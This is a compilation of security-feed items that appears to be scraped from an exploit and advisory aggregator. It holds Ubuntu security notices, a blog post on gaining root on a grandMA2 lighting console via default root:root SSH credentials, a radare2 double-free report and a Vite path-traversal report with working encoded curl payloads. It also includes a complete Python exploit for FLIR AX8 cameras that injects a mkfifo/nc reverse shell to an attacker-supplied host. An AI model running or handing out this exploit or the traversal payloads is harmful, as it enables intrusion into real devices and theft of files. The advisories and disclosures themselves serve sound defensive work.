Ubuntu Security Notice 5575-1 - Nicolas Gregoire discovered that Libxslt incorrectly handled certain XML. An attacker could possibly use this issue to expose sensitive information or execute arbitrary code. This issue only affected Ubuntu 18.04 LTS. Alexey Neyman incorrectly handled certain HTML pages. An attacker could possibly use this issue to expose sensitive information or execute arbitrary code.

==========================================================================  
Ubuntu Security Notice USN-5575-1  
August 22, 2022

libxslt vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS

Summary:

Several security issues were fixed in Libxslt.

Software Description:  
- libxslt: XSLT processing library

Details:

Nicolas Grégoire discovered that Libxslt incorrectly handled certain XML.  
An attacker could possibly use this issue to expose sensitive information  
or execute arbitrary code. This issue only affected Ubuntu 18.04 LTS.  
(CVE-2019-5815)

Alexey Neyman incorrectly handled certain HTML pages.  
An attacker could possibly use this issue to expose sensitive information  
or execute arbitrary code. (CVE-2021-30560)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 22.04 LTS:  
  libxslt1.1                      1.1.34-4ubuntu0.22.04.1

Ubuntu 20.04 LTS:  
  libxslt1.1                      1.1.34-4ubuntu0.20.04.1

Ubuntu 18.04 LTS:  
  libxslt1.1                      1.1.29-5ubuntu0.3

In general, a standard system update will make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-5575-1  
  CVE-2019-5815, CVE-2021-30560

Package Information:  
  https://launchpad.net/ubuntu/+source/libxslt/1.1.34-4ubuntu0.22.04.1  
  https://launchpad.net/ubuntu/+source/libxslt/1.1.34-4ubuntu0.20.04.1  
  https://launchpad.net/ubuntu/+source/libxslt/1.1.29-5ubuntu0.3

Ubuntu Security Notice USN-5575-1

Ubuntu Security Notice 5574-1 - It was discovered that Exim incorrectly handled certain inputs. An attacker could possibly use this issue to cause a crash or execute arbitrary code.

=========================================================================  
Ubuntu Security Notice USN-5574-1  
August 22, 2022

exim4 vulnerability  
=========================================================================  
A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS  
- Ubuntu 16.04 ESM  
- Ubuntu 14.04 ESM

Summary:

Exim could be made to crash of execute arbitrary code if it  
received a specially crafted input.

Software Description:  
- exim4: Exim is a mail transport agent

Details:

It was discovered that Exim incorrectly handled certain inputs.  
An attacker could possibly use this issue to cause a crash or  
execute arbitrary code.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 20.04 LTS:  
  exim4-base                      4.93-13ubuntu1.6  
  exim4-daemon-heavy              4.93-13ubuntu1.6  
  exim4-daemon-light              4.93-13ubuntu1.6

Ubuntu 18.04 LTS:  
  exim4-base                      4.90.1-1ubuntu1.9  
  exim4-daemon-heavy              4.90.1-1ubuntu1.9  
  exim4-daemon-light              4.90.1-1ubuntu1.9

Ubuntu 16.04 ESM:  
  exim4-base                      4.86.2-2ubuntu2.6+esm2  
  exim4-daemon-heavy              4.86.2-2ubuntu2.6+esm2  
  exim4-daemon-light              4.86.2-2ubuntu2.6+esm2

Ubuntu 14.04 ESM:  
  exim4-base                      4.82-3ubuntu2.4+esm4  
  exim4-daemon-heavy              4.82-3ubuntu2.4+esm4  
  exim4-daemon-light              4.82-3ubuntu2.4+esm4

In general, a standard system update will make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-5574-1  
  CVE-2022-37452

Package Information:  
  https://launchpad.net/ubuntu/+source/exim4/4.93-13ubuntu1.6  
  https://launchpad.net/ubuntu/+source/exim4/4.90.1-1ubuntu1.9

Ubuntu Security Notice USN-5574-1

MA Lighting grandMA2 Light has a password of root for the root account. NOTE: The vendor's position is that the product was designed for isolated networks. Also, the successor product, grandMA3, is not affected by this vulnerability.

**Act 1: Opening**

A significant amount of time and effort go into preparing the sound and lighting for a concert. Having once been in charge of both for theatre productions, I know just how stressful it can be when a microphone stops working mid performance or when the timing is a few seconds off on a lighting cue.

Something that I always wished for when working in theatre tech was the ability to tweak the lighting and sound remotely. Often times I had to hop down from the control booth, check on something, and quickly climb back up my ladder. It would have been significantly easier to tune settings from either my phone or laptop on the fly.

Well, apparently that’s possible now and I’m just getting old. Controlling a lighting console either via a mobile application or remote control appears to be common now - especially since we can just connect the console to WiFi _because connecting everything to WiFi is a good idea_.

Thus begins the story of how I obtained a root shell on a $60,000 lighting console in a few minutes. Keep in mind that this did not require some fancy exploit or l33t out of the box thinking - **spoiler** all it took was connecting to an unsecured access point, a quick ping sweep, port scan, and trying some ‘dumb’ default credentials on a remote service.

**Act 2: The First Mistake**

Everything started one Thursday night when I attended a metal show. If you know anything about me, it’s that I **love** doomscrolling on Twitter. Arriving to a metal show about an hour early and learning that there was no cellular connection in the venue meant that reading InfoSec drama on Twitter wasn’t a possibility and my suffering was imminent.

So what does everyone do when they have no cellular connection? We look for open access points; bonus points if those access points don’t have a captive portal (looking at you Starbucks and Barnes & Noble).

Sure enough, upon popping open the trusty hacker tool “Settings” on my iPhone and carefully navigating to the “WiFi” menu, I identified an open access point named “WAVLINK-N”.

Now, before we even start scanning. Let’s run a quick Google search for “WAVLINK-N” to see what comes up. One of the first results is how to sign into a WAVLINK network device, allowing us to easily enumerate that we’ve connected to a WAVLINK router:

If you’ve gone anywhere and asked for the WiFi password before, then you know that they will (mostly) always hand you access to the guest network - meaning that you are unable to access back of house devices such as the security cameras, PoS systems, music streaming system, or anything else that the business has hooked up.

**Note:** This is not always the case. The coffee shop I frequent asked me to perform some light scanning of their network to see if “anything came up”. Upon scanning I observed that their recent security camera installations were connected to the guest network - a misconfiguration which allowed me to watch myself drink a caramel macchiato (so cool).

This is what I expected to be the case until I observed I was placed onto the 192.168.10.0/24 subnet. Big oops.

This means that we can access the Router login accessible at http://192.168.10.1 as stated in the previously identified documentation. If we wanted to launch exploits at this router we could attempt to search for WAVLINK router vulnerabilities, login with default credentials, and/or brute force valid credentials to the login.

Well, out of pure curiosity I attempted to sign-in with default credentials using the password admin but was unsuccessful. That’s fine but now I’m getting _very_ curious, let’s run a ping sweep to see if we can identify any other devices.

> Quick note, I am friends with one of the managers of this venue so please don’t cancel me for doing hard crime. I verified prior to scanning that I was clear to poke around a little bit (and not break anything).

**Act 3: The Scanning**

Let’s address something really quickly before going any further. I’m an iPhone user.. I know, laugh it up. But that means my methods of scanning a network when I don’t have my laptop are limited. Personally, I like using Fing for quick scans. It’s also worth mentioning that there are several benefits to the app if you’re not a l33t hax0r such as scanning an Airbnb rentals network to identify hidden cameras (but that’s a topic for another day, I’m not sponsored). /rant

This is also to preface that I wasn’t able to take too many screenshots of this device, and they’re all off of my phone. I was too busy headbanging and hanging out with good people to remember that I should screenshot everything I was observing at the time. Additionally, the following day when notifying my PoC they wanted to immediately fix this console and remove the access point (I might get some time around the holidays to mess around with this console further though).

Anyways, back on topic. When I see ftp and/or ssh enabled, I want to try seeing if I can authenticate to the root user with default or weak credentials. Do you see where I’m going with this? Keep in mind, at this point in time I had no information or what device this actually was. The following screenshot demonstrates that I was able to use Termius to attempt to SSH into the device:

I know.. Not the greatest screenshot. It would be signifcantly more satisfying if I had CrackMapExec or Hydra installed on my phone to have the “password found” displayed.. Nevertheless, I attempted to login with the password toor originally which was unsuccessful.

Following this, I tried the most complex password I could think of and attempted to sign-in with the password root.. Surely enough, I soon observed that I successfully was dropped into a shell on the system:

Oh boy.. fourteen minutes before the show starts and I have obtained a shell on something called grandMA2-light. Chills. Prior to running any commands, the first thing I am going to do is run a quick search for the hostname and see what comes up:

Things are starting to quickly make sense. It looks as though the console can actually do more than lights, there’s also the possibility of controlling “video and media” as stated in the description. Next I want to actually see what the device looks like, which did not disappoint:

Damn.. This looks awesome, it can probably run DOOM. From reading some of the documentation I also learned that you have access to the command line on the device. Taking an image from the documentation, it should look a little like this:

Upon a little more research, I came across the price of this unit (originally), this is when I decided on the name of this post:

Yep. You are reading that correctly. Having seen this beast in person, I believe it it is the grandMA2 light version (as referenced in the hostname). It is probably the most expensive shell I’ve ever popped.

So what next? Well, I ran a few commands on the system. Sadly I didn’t screenshot them all but I did find some interesting things in the short period of time I had. I first enumerated binaries on the host and observed that I was dropped into your standard bash shell. Additionally, binaries that would be installed on a typical Linux system were available to me.

After confirming that I would be able to run commands and I wasn’t in some type of limited environment, I decided to run ifconfig to display some basic information about the configured interfaces:

That’s always some good information to have. I was also interested in running netstat -ant to view network connections for the device:

We see some interesting information here such as a HTTP service, and other TCP ports such as 80, 6000, 7001, 7003, 7005, 30000, and 30001 which are listening. While I would love to investigate all of these, I sadly did not have the time. If I had to guess, these are most likely used by the device for different features such as lights, LEDs, and video.. It’s hard to guess since there’s so much going on under the hood.

One of the more interesting things I found was from running ps -aef on the device:

It always feels like a CTF when I see a custom binary. I observed two interesting files here, namely /usr/sbin/gmad and /data/ma/actual/gma2. With the concert being so close to starting, I was hesitant to mess with either of these “in prod”. I can only imagine that removing the gmad binary would be devastating and require the system to be reset in some capacity.

Otherwise, I wasn’t able to find anything else of interest within time I had on the device. As I mention later on in this article, it was revealed that the device runs a “Custom Linux OS”. From my observations this looks as though it’s just an Ubuntu installation with some custom binaries and minor configurations made. There doesn’t appear to be any hardening done on the system that I observed, it’s likely that uploading your tool of choice (such as Nmap or Responder) would function perfectly fine if you installed the appropriate dependencies.

Following the concert, I decided to reach out to the vendor, ‘MA Lighting’ and request information on my findings. When asking my point of contact, they stated that it was unclear if someone had manually made those changes as it was an older lighting console. In my first email I asked the following:

> Good afternoon,
> 
> I recently performed a small network audit and identified a grandMA2 lighting console. I was able to successfully SSH into the device to obtain root-level access with the credentials: root:root.
> 
> Is this the default configuration for the device? Is changing the root accounts password acceptable or will this cause issues with the console?

The reason I ask if changing the credentials on the device would cause any issues is simply because this is a device I hadn’t even heard about until last night. I was unsure if there was some SSH magic going on under the hood, and/or if the credentials were required some other functionality I wasn’t unable to identify.

A few days later I received a reply from MA Lighting stating that changing the SSH credentials stating the following:

> Yes, you can change the SSH credentials if you would like - it should not affect the performance of the desk. The updated credentials will persist through software updates as well, unless you have to perform a Factory Reset.

Perfect! We now know how to remediate the identified issue. I forwarded this information to my contact and sent another email to MA Lighting asking again if the identified credentials of root:root were the default for the device. I was told the dev team would need to answer that and they’d be in touch. Surely enough, after waiting a few days I received a reply stating the following:

>   Yes, SSH is enabled by default, and those are the default credentials. However, because the consoles are a custom Linux OS with no personal, medical, or financial data stored on them, the devs haven’t felt the need to change this.

Well, that’s half the answer I was expecting. While I understand the reasoning, it’s now my job to state the risks of this system having default credentials. I sent a reply with the following information shortly after (I redacted a few sentences with links provided at the bottom of this post):

> Alongside the risks I detailed in the previous email such as the lighting console being used as a foothold on the network, and DoS attacks being conducted against it - default credentials with a remote management port exposed by default as SSH being open is a high-risk issue that would allow for an attacker to potentially establish persistence, and attack other devices on the network. 
> 
> If SSH is not required (which it does not appear to be, from my understanding), it should be disabled. Alternatively, users could be provided with a randomly generated password upon setting up the device.
> 
> There are multiple CVE’s associated with default credentials. I plan to request one to be used for reference on this issue. I’d love to assist in the process and align with your internal standards of this. Please let me know if this issue is something that the dev team will fix or release guidance on in the near future!

I received a reply the following week which I do not want to completely share the details of since I think they _could_ be considered sensitive so I’m going to hit you with a brief summary, broken down into a few points in the following section.

**The Breakdown**

MA Lighting stated that the grandMA2 was designed for isolated networks, not public networks. While to no fault of their own, customers who are not aware of the risks will place it in the first place it works.

Additionally, MA Lighting stated that changing the grandMA2 so that SSH and Telnet access work differently be default would require serious work on the operating system. At this stage of the grandMA2’s development, this is unlikely to happen.

grandMA3 (the successor to grandMA2) is designed with being a part of public networks. There is no longer Telnet access to Linux and additional access can be disabled within the Mode2 software. Additionally, SSH is enabled but no longer uses the default credentials.

**Act 5: The Finale**

To be honest, I thought the reply from MA Lighting was more than sufficient. While the grandMA2 appears to have multiple security issues, it’s appears as though these have been remediated with the release of the grandMA3.

If the message wasn’t clear, this is _very_ bad regardless of how common this device is. With little effort, I was able to obtain a root shell, and established a very good foothold on the network. Additionally, it’s extremely likely I would be able to easily upload and/or download whatever binaries I wanted to the system.

There’s also other considerations to take into account. For example, as stated in my emails to MA Lighting I could have ran a DoS attack against the system such as a ‘Fork bomb’, it’s possible that the system would be rendered completely inoperable. Alternatively, an attacker could reboot, shutdown, and/or delete inportant binaries on the system.

While I’d love to believe that rebooting the device would turn off all the lights in the venue like something from Watchdogs.. From my extremely brief background in theatre tech, it is more likely that it would render the lighting console inoperable until it has successfully rebooted, the lights would most likely freeze in their current “cue”. The tech would then be able to move forward to the next “cue” once the system rebooted and resume the show without a blackout. There’a also the possibility that an attacker would be able to connect to the device with the appropriate MA Lighting software and take remote control of the system, sabotaging the show in the process.

Although this system is unlikely to be encountered in your ‘typical corporate environment’, they exist out there. Personally, an opportunity has never presented itself to me where I can mess around with tech equipment such as a sound and/or lighting console but it’s an area of devices that seems to have gone completely under the radar.

Additionally, something worth mentioning about this issue is that the target audience for this device is most likely not aware that SSH is open in the first place. I could not find documentation online discussing the use of the default credentials, nor any information about the ‘Custom Linux OS’. It’s likely if you find one of these in the wild, it’s going to have SSH wide open.

Finally, (I promise, final thought) I haven’t seen any security research of these devices before. I would not be surprised to discover that similar devices are using default credentials or are vulnerable to other low-hanging fruit vulnerabilities. This is an area of security that seems to be unexplored and I’m looking forward to hopefully raising some awareness.

I’ll happily pentest your lighting/sound consoles for some coffee :)

**Timeline**

*   April 7 - I attend a metal show, have no WiFi, connected to an open access point, and burgled a root shell on a lighting console more expensive than my college debt.
*   April 8 - I notified the PoC I have at the venue of the finding and messaged MA Lighting asking for clarification on the devices default configuration.
*   April 14 - Heard back from MA Lighting and began to discuss the default configuration of the device and how to remediate this issue.
*   April 16 - MA Lighting replied and stated that they would need to get information from their developers to determine if both SSH was open, and the credentials root:root were used by default.
*   April 20 - MA Lighting informed me that these were the default credentials, SSH is open by default, and the developers of the grandMA2 did not see this as a security risk. The reasoning provided was that the system doesn’t store any financial/personal data. I replied to the email detailing what the host could be used for, possible system disruption, and providing appropriate references to CWE and MITRE ATT&CK.
*   April 26 - Received reply from MA Lighting with additional information, stating that the issue is unlikely to be resolved and the following release (grandMA3) has remediated the issue identified.
*   April 26 - Requested a CVE from MITRE.
*   August 20 - Sent a follow up email to MITRE and received assignment CVE-2022-30036.

**FAQ****Were you able to doomscroll Twitter?**

No. The network did not have Internet access :(

**So I can just port scan every network and get r00t?**

All the cool kids are so why not? _/s_

On a serious note, port scanning is a gray area because no laws exist for it. While I know we all run around shouting “port scanning is not a crime” with our black hoodies and thirty DEFCON badges on, this may not always be the case. I’m not a lawyer so don’t ask me though! :)

**Default Credentials = CVE. Lulz.**

Yeah, I’m with you. I walked the dinosaur around my room deciding if this is something I should even bother requesting a CVE for. At the end of the day it gave me default raspberry pi credential vibes. I hate to be that guy, but default credentials are always bad, and there really isn’t a good excuse to ever use them.

**Thanks**

*   Thanks to MA Lighting for being open to discussing this issue with me even though I’m not a customer and taking the time to relay messages between myself and the dev team.
*   Thanks to my good friend Catatonic for listening to me rant a little about this and sending me some references.
*   Thanks to you.. Yeah **YOU** for reading this post. I know it wasn’t a high-level RCE exploit with a PoC provided but this was a fun one to write and I appreciate you for reading it <3

CVE-2022-30036: Pwning a $60,000 Lighting Console in a Few Minutes

A double free issue was discovered in radare2 in cmd_info.c:cmd_info(). Successful exploitation could lead to modification of unexpected memory locations and potentially causing a crash.

**Work environment**

Questions

Answers

OS/arch/bits (mandatory)

Ubuntu x86 64

File format of the file you reverse (mandatory)

ELF

Architecture/bits of the file (mandatory)

x86/64

r2 -v full output, **not truncated** (mandatory)

rradare2 4.3.1 23909 @ linux-x86-64 git.4.3.1-1-ge55661b commit: e55661b build: 2020-03-22\_\_22:18:20

**Expected behavior**

Handle input error

**Actual behavior**

double free/invalid pointer to free

**Steps to reproduce the behavior**

$ r2 -  
\[0x00000000\]> in 0  
\[0x00000000\]> oc 0  
\[0x00000000\]> in 0  
\*\*\* Error in \`r2': free(): invalid pointer: 0x00007fffed1bcd00 \*\*\*  
……

**Additional Logs, screenshots, source-code, configuration dump, ...**

  
The in command would first free the original core->table_query, then create a new core->table_query in cmd_info.c:cmd_info()，

    	R_FREE (core->table_query);
    	if (space && *space == ' ') {
    		core->table_query = r_str_trim_dup (space + 1);
    	}
    

The oc command would free it in core.c: r_core_fini, which didn't NULL it out.

    ……
    	free (c->table_query);
    	r_list_free (c->files);
    	r_list_free (c->watchers);
    	r_list_free (c->scriptstack);
    ……
    

So execute in 0 again would cause a double/invalid free.

CVE-2020-27794: invalid free in  cmd_info.c:cmd_info() · Issue #16303 · radareorg/radare2

FLIR AX8 versions 1.46.16 and below unauthenticated remote OS command injection exploit.

    # -*- coding: utf-8 -*-# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection# Date: 8/19/2022# Exploit Author: Samy Younsi Naqwada (https://samy.link)# Vendor Homepage: https://www.flir.com/# Software Link: https://www.flir.com/products/ax8-automation/# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok# Version: 1.46.16 and under.# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)# CVE : CVE-2022-36266from __future__ import print_function, unicode_literalsfrom bs4 import BeautifulSoupimport argparseimport requestsimport jsonimport urllib3urllib3.disable_warnings()def banner():  flirLogo = """ ███████╗██╗     ██╗██████╗ ██╔════╝██║     ██║██╔══██╗█████╗  ██║     ██║██████╔╝██╔══╝  ██║     ██║██╔══██╗██║     ███████╗██║██║  ██║ ╚═╝     ╚══════╝╚═╝╚═╝  ╚═╝                          .---------------------.   █████╗ ██╗  ██╗ █████╗  /--'--.------.--------/|  ██╔══██╗╚██╗██╔╝██╔══██╗ |Say :) |__Ll__| [==] ||  ███████║ ╚███╔╝ ╚█████╔╝ |cheese!| .--. | '''' ||  ██╔══██║ ██╔██╗ ██╔══██╗ |       |( () )|      ||  ██║  ██║██╔╝ ██╗╚█████╔╝ |       | `--` |      |/  ╚═╝  ╚═╝╚═╝  ╚═╝ ╚════╝  `-------`------`------`                                                                                                                        \033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m         \033[1;91mFLIR AX8 Unauthenticated OS Command Injection\033[1;m                                                                 FOR EDUCATIONAL PURPOSE ONLY.     """  return print('\033[1;94m{}\033[1;m'.format(flirLogo))def pingWebInterface(RHOST, RPORT):  url = 'http://{}:{}/login/'.format(RHOST, RPORT)  response = requests.get(url, allow_redirects=False, verify=False, timeout=60)  try:    if response.status_code != 200:      print('[!] \033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')      exit()    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')    version = soup.find('p', id = 'login-title').string    print('[INFO] {} detected.'.format(version))  except:    print('[ERROR] Can\'t grab the device version...')def execReverseShell(RHOST, RPORT, LHOST, LPORT):  url = 'http://{}:{}/res.php'.format(RHOST, RPORT)  payload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)  data = 'action=alarm&id=2;{}'.format(payload)  headers = {    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',  }  try:    print('[INFO] Executing reverse shell...')    response = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)    print('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))    return  except Exception as e:      print('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)      return Falsedef main():  banner()  args = parser.parse_args()  pingWebInterface(args.RHOST, args.RPORT)  execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)if __name__ == "__main__":  parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)  parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (FLIR AX8 device)", type=str, required=True)  parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)  parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)  parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)  main()

FLIX AX8 1.46.16 Remote Command Execution

Ubuntu Security Notice 5573-1 - Evgeny Legerov discovered that zlib incorrectly handled memory when performing certain inflate operations. An attacker could use this issue to cause rsync to crash, resulting in a denial of service, or possibly execute arbitrary code.

    ==========================================================================Ubuntu Security Notice USN-5573-1August 18, 2022rsync vulnerability==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTS- Ubuntu 18.04 LTS- Ubuntu 16.04 ESMSummary:rsync could be made to crash or run programs if it received speciallycrafted input.Software Description:- rsync: fast, versatile, remote (and local) file-copying toolDetails:Evgeny Legerov discovered that zlib incorrectly handled memory whenperforming certain inflate operations. An attacker could use this issueto cause rsync to crash, resulting in a denial of service, or possiblyexecute arbitrary code.Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS:rsync 3.1.3-8ubuntu0.4Ubuntu 18.04 LTS:rsync 3.1.2-2.1ubuntu1.5Ubuntu 16.04 ESM:rsync 3.1.1-3ubuntu1.3+esm2In general, a standard system update will make all the necessary changes.References:https://ubuntu.com/security/notices/USN-5573-1CVE-2022-37434Package Information:https://launchpad.net/ubuntu/+source/rsync/3.1.3-8ubuntu0.4https://launchpad.net/ubuntu/+source/rsync/3.1.2-2.1ubuntu1.5

Ubuntu Security Notice USN-5573-1

Ubuntu Security Notice 5572-1 - Roger Pau Monné discovered that the Xen virtual block driver in the Linux kernel did not properly initialize memory pages to be used for shared communication with the backend. A local attacker could use this to expose sensitive information. Roger Pau Monné discovered that the Xen paravirtualization frontend in the Linux kernel did not properly initialize memory pages to be used for shared communication with the backend. A local attacker could use this to expose sensitive information.

    ==========================================================================Ubuntu Security Notice USN-5572-1August 18, 2022linux-aws vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 16.04 ESMSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux-aws: Linux kernel for Amazon Web Services (AWS) systemsDetails:Roger Pau Monné discovered that the Xen virtual block driver in the Linux kernel did not properly initialize memory pages to be used for shared communication with the backend. A local attacker could use this to expose sensitive information (guest kernel memory). (CVE-2022-26365)Roger Pau Monné discovered that the Xen paravirtualization frontend in the Linux kernel did not properly initialize memory pages to be used for shared communication with the backend. A local attacker could use this to expose sensitive information (guest kernel memory). (CVE-2022-33740)It was discovered that the Xen paravirtualization frontend in the Linuxkernel incorrectly shared unrelated data when communicating with certainbackends. A local attacker could use this to cause a denial of service(guest crash) or expose sensitive information (guest kernel memory).(CVE-2022-33741)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 16.04 ESM:   linux-image-4.4.0-1148-aws      4.4.0-1148.163   linux-image-aws                 4.4.0.1148.152After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-5572-1   CVE-2022-26365, CVE-2022-33740, CVE-2022-33741

Ubuntu Security Notice USN-5572-1

Ubuntu Security Notice 5571-1 - Sven Klemm discovered that PostgreSQL incorrectly handled extensions. An attacker could possibly use this issue to execute arbitrary code when extensions are created or updated.

==========================================================================  
Ubuntu Security Notice USN-5571-1  
August 18, 2022

postgresql-10, postgresql-12, postgresql-14 vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS

Summary:

PostgreSQL could be made to run programs when creating or updating  
extensions.

Software Description:  
- postgresql-14: Object-relational SQL database  
- postgresql-12: Object-relational SQL database  
- postgresql-10: Object-relational SQL database

Details:

Sven Klemm discovered that PostgreSQL incorrectly handled extensions. An  
attacker could possibly use this issue to execute arbitrary code when  
extensions are created or updated.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 22.04 LTS:  
  postgresql-14                   14.5-0ubuntu0.22.04.1

Ubuntu 20.04 LTS:  
  postgresql-12                   12.12-0ubuntu0.20.04.1

Ubuntu 18.04 LTS:  
  postgresql-10                   10.22-0ubuntu0.18.04.1

This update uses a new upstream release, which includes additional bug  
fixes. After a standard system update you need to restart PostgreSQL to  
make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-5571-1  
  CVE-2022-2625

Package Information:  
  https://launchpad.net/ubuntu/+source/postgresql-14/14.5-0ubuntu0.22.04.1  
  https://launchpad.net/ubuntu/+source/postgresql-12/12.12-0ubuntu0.20.04.1  
  https://launchpad.net/ubuntu/+source/postgresql-10/10.22-0ubuntu0.18.04.1

Ubuntu Security Notice USN-5571-1

Vitejs Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.

**Describe the bug**

The vulnerability found at #2820 was found to be not fixed properly, which leads to the unrestricted directory traversal.

Currently the @fs directory does check for the allowed path, but it does not check for encoded paths.

For example, assuming that /@fs/home/test/ is the only allowed path, this can be bypassed by accessing /@fs/home/test/%2e%2e%2f%2e%2e%2f, which translates to /@fs/home/test/../../ internally.

Since this way of access through the browser may output an inconsistent result, curl --path-as-is can be used as an alternative way to reproduce such issue.

**Reproduction**

Any vite project is affected by this vulnerability.

npm init @vitejs/app app
cd app
npm install
npm run dev

**Reproduction in Windows**

Accessing C:/Windows/System32/drivers/etc/hosts is blocked since the allow list only contains C:/Users/stypr/Desktop/development/q/vite-project.

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Windows/System32/drivers/etc/hosts"
\*   Trying ::1:3001...
\*   Trying 127.0.0.1:3001...
\* Connected to localhost (127.0.0.1) port 3001 (#0)
\> GET /@fs/C:/Windows/System32/drivers/etc/hosts HTTP/1.1
\> Host: localhost:3001
\> User-Agent: curl/7.75.0
\> Accept: \*/\*
\>
\* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Access-Control-Allow-Origin: \*
< Date: Wed, 08 Jun 2022 04:00:32 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
<

    <body\>
      <h1>403 Restricted</h1>
      <p\>The request url "C:/Windows/System32/drivers/etc/hosts" is outside of Vite serving allow list.<br/><br/\>\- C:/Users/stypr/Desktop/development/q/vite-project<br/><br/\>Refer to docs https://vitejs.dev/config/#server-fs-allow for configurations and more details.</p>
      <style\>
        body {
          padding: 1em 2em;
        }
      </style\>
    </body\>
  \* Connection #0 to host localhost left intact
  \* 

What if we access like C:/Users/stypr/Desktop/development/q/vite-project/../../../../../../Windows/System32/drivers/etc/hosts? In typical cases, this doesn't work

However, if we replace the path ../ as %2e%2e%2f and replace every trailing slashes to %2f, the check is bypassed and the path traversal becomes successful.

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts"
\*   Trying ::1:3001...
\*   Trying 127.0.0.1:3001...
\* Connected to localhost (127.0.0.1) port 3001 (#0)
\> GET /@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts HTTP/1.1
\> Host: localhost:3001
\> User-Agent: curl/7.75.0
\> Accept: \*/\*
\>
\* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: \*
< Content-Length: 824
< Content-Type:
< Last-Modified: Tue, 31 May 2022 03:15:34 GMT
< ETag: W/"824-1653966934106"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 03:53:26 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost
\*a Connection #0 to host localhost left intact

**Reproduction in Linux**

Linux is also pretty much the same, you can first get the whitelist path (/srv/q/app) by accessing a random path(/@fs/...), and then do a path traversal based on the given whitelist.

curl -v --path-as-is "http://192.168.125.129:3000/@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts"
\*   Trying 192.168.125.129:3000...
\* TCP\_NODELAY set
\* Connected to 192.168.125.129 (192.168.125.129) port 3000 (#0)
\> GET /@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts HTTP/1.1
\> Host: 192.168.125.129:3000
\> User-Agent: curl/7.68.0
\> Accept: \*/\*
\> 
\* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: \*
< Content-Length: 221
< Content-Type: 
< Last-Modified: Tue, 30 Jun 2020 09:41:51 GMT
< ETag: W/"221-1593510111311"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 04:09:49 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< 
127.0.0.1	localhost
127.0.1.1	ubuntu

